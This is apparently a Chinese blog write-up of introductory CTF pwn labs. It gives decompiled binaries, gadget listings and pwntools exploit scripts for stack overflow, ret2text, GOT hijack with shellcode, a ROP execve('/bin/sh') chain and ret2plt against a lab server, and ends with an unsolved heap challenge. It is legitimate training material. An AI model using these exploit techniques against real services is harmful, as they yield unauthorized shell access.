SSS_CTF题解

SSS_CTF题解

PWN入门部分

Lab_0

学习了p64()工具和利用python和靶机进行交互

checksec:

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/copy/Lab_0/Lab 0$ checksec pwntools
[*] '/mnt/d/copy/Lab_0/Lab 0/pwntools'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

IDA_Pro:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int __fastcall main(int argc, const char **argv, const char **envp)
{
int buf; // [rsp+Ch] [rbp-24h] BYREF
int v5; // [rsp+10h] [rbp-20h] BYREF
int i; // [rsp+14h] [rbp-1Ch]
unsigned int seed; // [rsp+18h] [rbp-18h]
unsigned int v8; // [rsp+1Ch] [rbp-14h]
unsigned int v9; // [rsp+20h] [rbp-10h]
int v10; // [rsp+24h] [rbp-Ch]
unsigned __int64 v11; // [rsp+28h] [rbp-8h]

v11 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
signal(14, handler);
alarm(0132u);
seed = time(0LL);
srand(seed);
puts("Give me the magic number :)");
read(0, &buf, 4uLL);
if ( buf != -559038737 )
{
puts("Bye~");
exit(0);
}
puts("Complete 1000 math questions in 90 seconds!!!");
for ( i = 0; i <= 999; ++i )
{
v8 = random() % 0xFFFF;
v9 = random() % 0xFFFF;
v10 = random() % 3;
switch ( v10 )
{
case 1:
printf("%d - %d = ?", v8, v9);
__isoc99_scanf("%d", &v5);
if ( v8 - v9 != v5 )
{
puts("Bye Bye~");
exit(0);
}
break;
case 2:
printf("%d * %d = ?", v8, v9);
__isoc99_scanf("%d", &v5);
if ( v9 * v8 != v5 )
{
puts("Bye Bye~");
exit(0);
}
break;
case 0:
printf("%d + %d = ?", v8, v9);
__isoc99_scanf("%d", &v5);
if ( v9 + v8 != v5 )
{
puts("Bye Bye~");
exit(0);
}
break;
}
}
puts("Good job!");
system("sh");
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context(os='linux', arch='i386' ,log_level='debug')

#p = process('./pwntools')
p = remote('210.30.97.133',28073)

payload1 = p32(3735928559)
p.recvuntil(b'Give me the magic number :)\n')
p.send(payload1)
pause()
p.recvuntil(b'Complete 1000 math questions in 90 seconds!!!\n')

for i in range(1000):
expr = p.recvuntil(b' = ?').replace(b' = ?',b'')
print(expr)
ans = eval(expr)
p.sendline(str(ans))

p.interactive()

就是简单的将指定数字打包送入,再写循环解出对应的算式答案。

注意的是,并不是64位的程序就对应p64打包,而是对应接受量的位数决定用什么打包,这里就是64位,但是打包是32位

Lab_1

简单的栈溢出

checksec:

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/copy/Lab_1/Lab 1$ checksec bof
[*] '/mnt/d/copy/Lab_1/Lab 1/bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA_Pro:

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

puts("This is your first bof challenge ;)");
fflush(_bss_start);
read(0, buf, 0x30uLL);
return 0;
}
1
2
3
4
5
6
7
8
9
int y0u_c4n7_533_m3()
{
char *envp; // [rsp+0h] [rbp-10h] BYREF
char *argv; // [rsp+8h] [rbp-8h] BYREF

envp = 0LL;
argv = 0LL;
return execve("/bin/sh", &argv, &envp);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

#p = process('./bof')
p = remote('210.30.97.133',28021)
backdoor_func_addr = p64(0x0000000000400607)

payload = b'a' * (16 + 8) + backdoor_func_addr

p.sendline(payload)

p.interactive()

Lab_2:

简单栈溢出的基础上加了点汇编代码的阅读,确定具体需要跳转的位置

checksec:

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/copy/Lab_2/Lab 2$ checksec bof2
[*] '/mnt/d/copy/Lab_2/Lab 2/bof2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA_Pro:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

puts("This is your second bof challenge ;)");
fflush(_bss_start);
read(0, buf, 0x30uLL);
if ( strlen(buf) > 0xF )
{
puts("Bye bye~~");
exit(0);
}
return 0;
1
2
3
4
5
void __noreturn y0u_c4n7_533_m3()
{
puts("Oh no~~~!");
exit(0);
}

但是其实附件给的源码子函数不是这样的,这个应该是IDA自己简化了

子函数源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void y0u_c4n7_533_m3()
{
int allow = 0;
if (allow) {
execve("/bin/sh", 0, 0);
}
else {
puts("Oh no~~~!");
exit(0);
}
}

int main()
{
char buf[16];
puts("This is your second bof challenge ;)");
fflush(stdout);
read(0, buf, 0x30);
if (strlen(buf) >= 16) {
puts("Bye bye~~");
exit(0);
}
return 0;
}

这个时候再去看简化后函数的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.text:0000000000400697 ; void __noreturn y0u_c4n7_533_m3()
.text:0000000000400697 public y0u_c4n7_533_m3
.text:0000000000400697 y0u_c4n7_533_m3 proc near
.text:0000000000400697
.text:0000000000400697 var_4 = dword ptr -4
.text:0000000000400697
.text:0000000000400697 ; __unwind {
.text:0000000000400697 push rbp
.text:0000000000400698 mov rbp, rsp
.text:000000000040069B sub rsp, 10h
.text:000000000040069F mov [rbp+var_4], 0
.text:00000000004006A6 cmp [rbp+var_4], 0
.text:00000000004006AA jz short loc_4006C4
.text:00000000004006AC mov edx, 0 ; envp
.text:00000000004006B1 mov esi, 0 ; argv
.text:00000000004006B6 lea rdi, path ; "/bin/sh"
.text:00000000004006BD call _execve
.text:00000000004006C2 jmp short locret_4006DA
.text:00000000004006C4 ; ---------------------------------------------------------------------------
.text:00000000004006C4
.text:00000000004006C4 loc_4006C4: ; CODE XREF: y0u_c4n7_533_m3+13↑j
.text:00000000004006C4 lea rdi, s ; "Oh no~~~!"
.text:00000000004006CB call _puts
.text:00000000004006D0 mov edi, 0 ; status
.text:00000000004006D5 call _exit
.text:00000000004006DA ; ---------------------------------------------------------------------------
.text:00000000004006DA
.text:00000000004006DA locret_4006DA: ; CODE XREF: y0u_c4n7_533_m3+2B↑j
.text:00000000004006DA leave
.text:00000000004006DB retn
.text:00000000004006DB ; } // starts at 400697
.text:00000000004006DB y0u_c4n7_533_m3 endp
.text:00000000004006DB
.text:00000000004006DC

这个时候我们可以控制返回地址不要直接跳转到后门函数的首地址,而是跳转到这个系统调用的部分,即地址 0x00000000004006AC

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context(os='linux',arch='i386',log_level='debug')

#p = process('./bof2')
p = remote('210.30.97.133',28085)

backdoor = 0x04006AC
sleep(0.5)

payload1 = b'\x00' + b'a'* (15+8) + p64(backdoor)

p.sendline(payload1)
p.interactive()

Lab_4:

checksec:

1
2
3
4
5
6
7
8
9
10
briteny@localhost:/mnt/d/copy/Lab_4/Lab 4$ checksec gothijack
[*] '/mnt/d/copy/Lab_4/Lab 4/gothijack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

IDA_Pro:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[1] = (void *)__readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("What's you name?");
read(0, name, 0x40uLL);
puts("Where do you want to write?");
__isoc99_scanf("%llu", buf);
printf("Data: ");
read(0, buf[0], 8uLL);
puts("Done!");
printf("Thank you %s!\n", name);
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(os = 'linux',arch = 'amd64',log_level = 'debug' )

p = process('./gothijack')
#p = remote('210.30.97.133',28005)

p.recvuntil(b'?\n')

sc = asm(shellcraft.sh())

p.send(sc)

p.recvuntil(b'?\n')

puts_got_addr = 0x601018
printf_got_addr = 0x601028
name_addr = 0x601080

p.sendline(str(puts_got_addr))
#p.sendline(b'111111')
pause()
p.recvuntil(b': ')
p.send(p64(name_addr))
pause()

p.interactive()

但是Linux版本更新后,bss段无论开不开NX,它都没有可执行权限,后续打算patch一下改一下权限后重新让组长传上去再写

Lab_5:

checksec:

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/copy/Lab_5/Lab 5$ checksec rop
[*] '/mnt/d/copy/Lab_5/Lab 5/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA_Pro:

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF

puts("This is your first rop challenge ;)", argv, envp);
fflush(stdout);
read(0, v4, 0x90uLL);
return 0;
}

大致检查过后会发现没有后门函数,也没有可以写shellcode的部分,只能考虑构造rop链

ROPgadget:

pop_rdi_ret_addr:
1
2
3
briteny@localhost:/mnt/d/copy/Lab_5/Lab 5$ ROPgadget --binary ./rop --only 'pop|ret'| grep rdi
0x0000000000402575 : pop rdi ; pop rbp ; ret
0x0000000000400686 : pop rdi ; ret
pop_rsi_ret_addr:
1
2
3
4
5
6
7
briteny@localhost:/mnt/d/copy/Lab_5/Lab 5$ ROPgadget --binary ./rop --only 'pop|ret'| grep rsi
0x000000000044ba39 : pop rdx ; pop rsi ; ret
0x0000000000402573 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000400684 : pop rsi ; pop r15 ; ret
0x000000000040f7fe : pop rsi ; pop rbp ; ret
0x0000000000410093 : pop rsi ; ret
0x0000000000477b73 : pop rsi ; ret 2
pop_rdx_ret_addr:
1
2
3
4
5
6
briteny@localhost:/mnt/d/copy/Lab_5/Lab 5$ ROPgadget --binary ./rop --only 'pop|ret'| grep rdx
0x0000000000481876 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000044ba14 : pop rdx ; pop r10 ; ret
0x0000000000481877 : pop rdx ; pop rbx ; ret
0x000000000044ba39 : pop rdx ; pop rsi ; ret
0x000000000044ba16 : pop rdx ; ret
syscall:
1
2
3
4
5
6
briteny@localhost:/mnt/d/copy/Lab_5/Lab 5$ ROPgadget --binary ./rop --only 'syscall'
Gadgets information
============================================================
0x00000000004011fc : syscall

Unique gadgets found: 1
/bin/sh写入
1
0x0000000000446c1b : mov qword ptr [rdi], rsi ; ret

当然ROPchain往往不止一种,肯定也有别的chain

readelf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
briteny@localhost:/mnt/d/copy/Lab_5/Lab 5$ readelf -S rop
There are 33 section headers, starting at offset 0xcdb58:

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .note.ABI-tag NOTE 0000000000400190 00000190
0000000000000020 0000000000000000 A 0 0 4
[ 2] .note.gnu.bu[...] NOTE 00000000004001b0 000001b0
0000000000000024 0000000000000000 A 0 0 4
[ 3] .rela.plt RELA 00000000004001d8 000001d8
0000000000000228 0000000000000018 AI 0 20 8
[ 4] .init PROGBITS 0000000000400400 00000400
0000000000000017 0000000000000000 AX 0 0 4
[ 5] .plt PROGBITS 0000000000400418 00000418
00000000000000b8 0000000000000000 AX 0 0 8
[ 6] .text PROGBITS 00000000004004d0 000004d0
000000000008f680 0000000000000000 AX 0 0 16
[ 7] __libc_freeres_fn PROGBITS 000000000048fb50 0008fb50
0000000000001523 0000000000000000 AX 0 0 16
[ 8] __libc_threa[...] PROGBITS 0000000000491080 00091080
000000000000108f 0000000000000000 AX 0 0 16
[ 9] .fini PROGBITS 0000000000492110 00092110
0000000000000009 0000000000000000 AX 0 0 4
[10] .rodata PROGBITS 0000000000492120 00092120
000000000001928c 0000000000000000 A 0 0 32
[11] .stapsdt.base PROGBITS 00000000004ab3ac 000ab3ac
0000000000000001 0000000000000000 A 0 0 1
[12] .eh_frame PROGBITS 00000000004ab3b0 000ab3b0
000000000000a510 0000000000000000 A 0 0 8
[13] .gcc_except_table PROGBITS 00000000004b58c0 000b58c0
000000000000009e 0000000000000000 A 0 0 1
[14] .tdata PROGBITS 00000000006b6120 000b6120
0000000000000020 0000000000000000 WAT 0 0 8
[15] .tbss NOBITS 00000000006b6140 000b6140
0000000000000040 0000000000000000 WAT 0 0 8
[16] .init_array INIT_ARRAY 00000000006b6140 000b6140
0000000000000010 0000000000000008 WA 0 0 8
[17] .fini_array FINI_ARRAY 00000000006b6150 000b6150
0000000000000010 0000000000000008 WA 0 0 8
[18] .data.rel.ro PROGBITS 00000000006b6160 000b6160
0000000000002d94 0000000000000000 WA 0 0 32
[19] .got PROGBITS 00000000006b8ef8 000b8ef8
00000000000000f8 0000000000000000 WA 0 0 8
[20] .got.plt PROGBITS 00000000006b9000 000b9000
00000000000000d0 0000000000000008 WA 0 0 8
[21] .data PROGBITS 00000000006b90e0 000b90e0
0000000000001af0 0000000000000000 WA 0 0 32
[22] __libc_subfreeres PROGBITS 00000000006babd0 000babd0
0000000000000048 0000000000000000 WA 0 0 8
[23] __libc_IO_vtables PROGBITS 00000000006bac20 000bac20
00000000000006a8 0000000000000000 WA 0 0 32
[24] __libc_atexit PROGBITS 00000000006bb2c8 000bb2c8
0000000000000008 0000000000000000 WA 0 0 8
[25] __libc_threa[...] PROGBITS 00000000006bb2d0 000bb2d0
0000000000000008 0000000000000000 WA 0 0 8
[26] .bss NOBITS 00000000006bb2e0 000bb2d8
00000000000016f8 0000000000000000 WA 0 0 32
[27] __libc_freer[...] NOBITS 00000000006bc9d8 000bb2d8
0000000000000028 0000000000000000 WA 0 0 8
[28] .comment PROGBITS 0000000000000000 000bb2d8
000000000000002a 0000000000000001 MS 0 0 1
[29] .note.stapsdt NOTE 0000000000000000 000bb304
00000000000014cc 0000000000000000 0 0 4
[30] .symtab SYMTAB 0000000000000000 000bc7d0
000000000000a950 0000000000000018 31 678 8
[31] .strtab STRTAB 0000000000000000 000c7120
00000000000068c2 0000000000000000 0 0 1
[32] .shstrtab STRTAB 0000000000000000 000cd9e2
0000000000000176 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
R (retain), D (mbind), l (large), p (processor specific)

对应我们要能写入”/bin/sh”的位置就是 .bss段

如果存在一些.bss段上的变量,就最好不要从.bss段的首地址开始写,避免不必要的麻烦

exp:

由于并没哟‘’/bin/sh‘’字符,所以还需要添加一个写入‘’/bin/sh‘’字符的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context(os = 'linux',arch = 'amd64', log_level = 'debug')

p =remote('210.30.97.133',28046)
#p = process('./rop')

pop_rdi_ret_addr = 0x0000000000400686
pop_rsi_ret_addr = 0x0000000000410093
pop_rdx_ret_addr = 0x000000000044ba16
syscall_addr = 0x00000000004011fc
pop_rax_ret_addr = 0x0000000000415294
bss_addr = 0x00000000006bb2e0 #写入/bin/sh的地址
mov_binsh = 0x0000000000446c1b #写入地址的构造mov qword ptr [rdi], rsi ; ret
#pop_rdx_pop_rsi_ret_addr = 0x000000000044ba39
offset = 16

pd1 = b'a' * ( offset + 8) + p64( pop_rdi_ret_addr ) + p64( bss_addr ) + p64( pop_rsi_ret_addr ) + b'/bin/sh\x00' + p64( mov_binsh ) + p64( pop_rsi_ret_addr ) + p64( 0x0 ) + p64( pop_rdx_ret_addr ) + p64( 0x0 ) + p64( pop_rax_ret_addr ) + p64( 0x3b ) + p64( syscall_addr )

p.recvuntil(b')')

p.send(pd1)
#pause()

p.interactive()

stack:

offset * ‘a’ 填充缓冲区
8 * ’a‘ 覆盖old_ebp
0x0000000000400686 pop rdi ; ret
0x00000000006bb2e0 bss段,写入/bin/sh的位置
0x0000000000410093 pop rsi ; ret
/bin/sh\x00 正好八个字节
0x0000000000446c1b mov qword ptr [rdi], rsi ; ret
0x0000000000410093 pop rsi ; ret
0x00
0x000000000044ba16 pop rdx ; ret
0x00
0x0000000000415294 pop rax ; ret
0x3b
0x00000000004011fc syscall系统调用
assembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#从原流程的ret_addr开始
pop rdi
ret
pop rsi
ret
mov qword ptr [rdi], rsi
ret
pop rsi
ret
pop rdx
ret
pop rax
ret
syscall

思路就是先写入/bin/sh字符,然后再进行系统调用

Lab_6

ret2plt

checksec:

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/copy/Lab_6/Lab 6$ checksec ret2plt
[*] '/mnt/d/copy/Lab_6/Lab 6/ret2plt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA_Pro:

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
system("echo What is your name?");
read(0, &name, 0x10uLL);
puts("Say something: ");
read(0, buf, 0x40uLL);
return 0;
}

不存在其他函数

源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[16];

int main()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[16];
system("echo What is your name?");
read(0, name, 0x10);
puts("Say something: ");
read(0, buf, 0x40);
return 0;
}

有明显的溢出漏洞

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(os = 'linux' , arch = 'amd64' , log_level = 'debug')
p = process('./ret2plt')
#p = remote('210.30.97.133',28016)

pop_rdi_ret = 0x0000000000400733
ret = 0x00000000004004fe
name_addr = 0x0000000000601070
system = 0x0000000000400520
offset = 0x10

py1 = b'/bin/sh'

p.recvuntil(b'?')
p.send(py1)
#pause()

p.recvuntil(b': \n')
py2 = b'a' * ( offset + 0x8 ) + p64(pop_rdi_ret) + p64(name_addr) + p64(ret) + p64(system)
pause()
p.send(py2)

p.interactive()

散题

2025_4_18:

checksec:

1
2
3
4
5
6
7
8
9
briteny@localhost:/mnt/d/copy/pwn_1$ checksec pwn
[*] '/mnt/d/copy/pwn_1/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled

IDA_Pro:

main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

sub_401304(a1, a2, a3);//第一个是整型数据,后面两个是指向指针的指针
while ( 1 )
{
while ( 1 )
{
sub_4016EB();//打印菜单
v3 = (int)sub_401276();//接受输入的字符串返回为长整型
if ( v3 != 2 )
break;
sub_4015E3();//v3等于2
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
sub_401672();
}
else
{
if ( v3 == 4 )
_exit(0);
LABEL_13:
sub_4012D1("Invalid choice\n");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
sub_401507();
}
}
}
sub_401304:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
unsigned int sub_401304()//感觉类似于某种初始化
{
__int16 v1; // [rsp+0h] [rbp-60h] BYREF
char *v2; // [rsp+8h] [rbp-58h]
char v3[12]; // [rsp+10h] [rbp-50h] BYREF
char v4[12]; // [rsp+1Ch] [rbp-44h] BYREF
char v5[20]; // [rsp+28h] [rbp-38h] BYREF
char v6[28]; // [rsp+3Ch] [rbp-24h] BYREF
unsigned __int64 v7; // [rsp+58h] [rbp-8h]

v7 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
prctl(38, 1LL, 0LL, 0LL, 0LL);//系统调用,用于控制进程属性
strcpy(v3, " ");//设置字符串v3为空格
v3[2] = 0;
v3[3] = 0;
v3[4] = 4;
v3[5] = 0;
v3[6] = 0;
v3[7] = 0;
v3[8] = 21;
v3[9] = 0;
v3[10] = 0;
v3[11] = 6;
strcpy(v4, ">");
v4[2] = 0;
v4[3] = -64;
strcpy(&v4[4], " ");
v4[6] = 0;
v4[7] = 0;
v4[8] = 0;
v4[9] = 0;
v4[10] = 0;
v4[11] = 0;
strcpy(v5, "%");
v5[2] = 4;
v5[3] = 0;
v5[4] = 0;
v5[5] = 0;
v5[6] = 0;
v5[7] = 64;
v5[8] = 21;
v5[9] = 0;
v5[10] = 3;
v5[11] = 0;
v5[12] = 3;
v5[13] = 0;
v5[14] = 0;
v5[15] = 0;
v5[16] = 21;
v5[17] = 0;
v5[18] = 2;
v5[19] = 0;
strcpy(v6, ";");
v6[2] = 0;
v6[3] = 0;
v6[4] = 21;
v6[5] = 0;
v6[6] = 1;
v6[7] = 0;
v6[8] = 66;
v6[9] = 1;
v6[10] = 0;
v6[11] = 0;
v6[12] = 6;
v6[13] = 0;
v6[14] = 0;
v6[15] = 0;
v6[16] = 0;
v6[17] = 0;
v6[18] = -1;
v6[19] = 127;
v6[20] = 6;
v6[21] = 0;
v6[22] = 0;
v6[23] = 0;
v6[24] = 0;
v6[25] = 0;
v6[26] = 0;
v6[27] = 0;
v1 = 9;
v2 = v3;
prctl(22, 2LL, &v1);
return alarm(0x20u);
}
sub_4016EB:
1
2
3
4
5
6
7
8
ssize_t sub_4016EB()//打印菜单
{
sub_4012D1("1.Add\n");
sub_4012D1("2.Edit\n");
sub_4012D1("3.Free\n");
sub_4012D1("4.Exit\n");
return write(1, ">> ", 3uLL);
}
sub_401276
1
2
3
4
5
6
7
8
9
__int64 sub_401276()//接受输入的数字字符串并转化为长整型返回
{
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[1] = __readfsqword(0x28u);
buf[0] = 0LL;
read(0, buf, 8uLL);//貌似存在一定的溢出长度但是应该不够用
return atol((const char *)buf);
}
sub_4015E3:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssize_t sub_4015E3()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

sub_4012D1("Idx:");//就是打印一个字符串,中间用了一下strlen函数
v1 = sub_401276();//
if ( v1 <= 4 && *((_QWORD *)&unk_4035A0 + v1) )
{
sub_4012D1("Content: ");
return read(0, *((void **)&unk_4035A0 + v1), 0x20uLL);
}
else
{
sub_4012D1("Invalid idx\n");
return 0LL;
}
}
sub_401672:
1
2
3
4
5
6
7
8
9
10
11
void sub_401672()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]

sub_4012D1("Idx:");
v0 = sub_401276();
if ( v0 <= 4 && *((_QWORD *)&unk_4035A0 + v0) )
free(*((void **)&unk_4035A0 + v0));
else
sub_4012D1("Invalid idx\n");
}
sub_4012D1:
1
2
3
4
5
6
7
ssize_t __fastcall sub_4012D1(const char *a1)//输出打印这个字符串,中间利用到了strlen函数
{
size_t v1; // rax

v1 = strlen(a1);
return write(1, a1, v1);
}
sub_401507:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ssize_t sub_401507()
{
int i; // [rsp+Ch] [rbp-14h]
void *v2; // [rsp+18h] [rbp-8h]

sub_4012D1("Size: ");
if ( (int)sub_401276() == 32LL )
{
v2 = malloc(0x20uLL);
if ( v2 )
{
for ( i = 0; i <= 31; ++i )
{
if ( !qword_4035A0[i] )
{
sub_4012D1("Done!\n");
qword_4035A0[i] = v2;
return 1LL;
}
}
return sub_4012D1("empty");
}
else
{
sub_4012D1("Error");
return 0LL;
}
}
else
{
sub_4012D1("Invalid size");
return 0LL;
}
}

SSS_CTF题解
http://example.com/SSS_CTF题解/
作者
briteny-pwn
发布于
2025年4月13日
许可协议